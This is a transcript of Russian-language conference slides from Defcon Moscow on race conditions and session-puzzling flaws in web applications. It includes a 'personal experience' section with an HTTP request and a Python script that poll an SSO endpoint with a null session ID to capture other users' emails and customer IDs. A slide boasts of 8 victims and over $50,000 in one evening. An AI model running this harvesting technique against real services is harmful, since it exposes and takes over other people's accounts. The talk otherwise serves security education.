Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Крысиные бега, или Взлом одной кнопкой

Крысиные бега, или Взлом одной кнопкой

Defcon Moscow #4

Alexander Antukh

November 23, 2013
Tweet

More Decks by Alexander Antukh

Other Decks in Research

Transcript

  1. 3 Agenda • Race conditions • Session management • Personal

    experience • Extras • Q&A Крысиные бега, или Взлом одной кнопкой
  2. 4 Race conditions Крысиные бега, или Взлом одной кнопкой Состояние

    гонки – ошибка проектирования многопоточной системы или приложения, при которой работа системы или приложения зависит от того, в каком порядке выполняются части кода. Оно наступает в случае, когда два или более потока в параллельной программе одновременно обращаются к одной структуре данных, причем между ними нет принудительного упорядочивания во времени и хотя бы одно из этих обращений – на запись. https://www.owasp.org/index.php/Race_Conditions
  3. 6 Race conditions Крысиные бега, или Взлом одной кнопкой int

    x; // Поток 1: while (!stop) { x++; …} // Поток 2: while (!stop) { if (x%2 == 0) System.out.println("x=" + x); … } x = 0  if (x%2 == 0)  x++;  System.out.println("x=" + x); x = 1
  4. 7 Race conditions Крысиные бега, или Взлом одной кнопкой Therac-25

    "Одна и та же переменная применялась как для анализа введённых чисел, так и для определения положения поворотного круга. Поэтому при быстром вводе Therac мог иметь дело с неправильным положением поворотного круга... Что приводило к переоблучению пациента"
  5. 8 Race conditions Крысиные бега, или Взлом одной кнопкой Inherent

    latency Y N Эффективное обнаружение и эксплуатация • Транзакции БД • SOA (service-oriented architecture) • Backend-операции • . . . Трудно найти легко потерять, невозможно забыть и воспроизвести, особенно в blackbox • Менеджмент сессий • . . . • PROFIT!!!
  6. 9 Session management Крысиные бега, или Взлом одной кнопкой Процесс

    генерации и присвоения идентификатора сессии Web Server Session Memory Session ID abcd123 cbcr321 Memory Allocation 0xAA… 0xBB… Set-cookie: SID=abcd123 Cookie: SID=abcd123 Domain Cookie SID=abcd123 Первичный доступ к домену Initial Browser Access Session Identifier Generation Session Memory Association Session Identifier Storage Session Identifier Reuse
  7. 10 Session management Крысиные бега, или Взлом одной кнопкой •

    При первичном обращении браузера к серверу генерируется новый, уникальный идентификатор сессии • Обычно идентификатор сессии возвращается клиенту в заголовке ответа "Set-Cookie" • Браузер сохраняет SessID в доменнозависимых cookie, которые отправляются на сервер при каждом запросе
  8. 11 Session puzzling Крысиные бега, или Взлом одной кнопкой Session

    puzzling – уязвимости прикладного уровня, позволяющие атакующему выполнять множество различных вредоносных действий путем манипуляций с переменными сессии: – Обход аутентификации – Повышение привилегий и логин под чужим аккаунтом – Обход ограничений в многофазных процессах – Выполнение “традиционных атак” (например, инъекций) – Воздействие на адресата доставки контента – . . .
  9. 12 Session puzzling Крысиные бега, или Взлом одной кнопкой Принцип:

    приложение использует одни и те же переменные сессии более, чем для одной цели
  10. 13 Session puzzling Крысиные бега, или Взлом одной кнопкой Возможные

    причины возникновения session puzzling : – Преждевременное присвоение объектов сессии в публично доступных точках входа – Неоправданное хранение данных в памяти сессий – Одни и те же переменные сессии используются различными процессами – Использование сессионных флагов в легальном функционале приложения – Отсутствие валидации для “доверенных” данных, генерируемых на основе сессии – Неэффективные или неполные механизмы аутентификации и авторизации – Баги в сценариях приложения, которые способствуют созданию или предотвращению удаления переменных сессии
  11. 17 Personal experience Крысиные бега, или Взлом одной кнопкой GET

    /sso/authorized.js?callback=xxx_auth HTTP/1.1 . . . Cookie: apex__pref-language=en-GB; sso_id=null HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Sep 2013 12:31:16 GMT Content-Type: application/javascript Content-Length: 120 Connection: keep-alive X-Fong-Id: c9c41e00-39ef-4bfa-bc34-09b5ae2b7704 var sso_provider = {}; sso_provider.email="[email protected]"; sso_provider.cust_id="12345678"; xxx_auth(true);
  12. 18 Personal experience Крысиные бега, или Взлом одной кнопкой def

    check(): path = 'https://sso.xxx.com/sso/authorized.js?' cookie = 'apex__pref-language=en-GB; sso_id=null' params = urllib.urlencode({'callback':'xxx_auth'}) headers = { 'Cookie': cookie } url = path+params req = urllib2.Request(url, headers=headers) response = urllib2.urlopen(req) the_page = response.read() if the_page != 'xxx_auth(false)': return the_page return 0
  13. 19 Personal experience Крысиные бега, или Взлом одной кнопкой Статистика:

    • 1 вечер • 8 жертв • Суммарный счет: более 50000$
  14. 20 Extras • Race conditions • Session management • Personal

    experience • Extras • Q&A Крысиные бега, или Взлом одной кнопкой
  15. 21 Extras Крысиные бега, или Взлом одной кнопкой Moar videos,

    materials and TESTING FIELD: http://code.google.com/p/puzzlemall/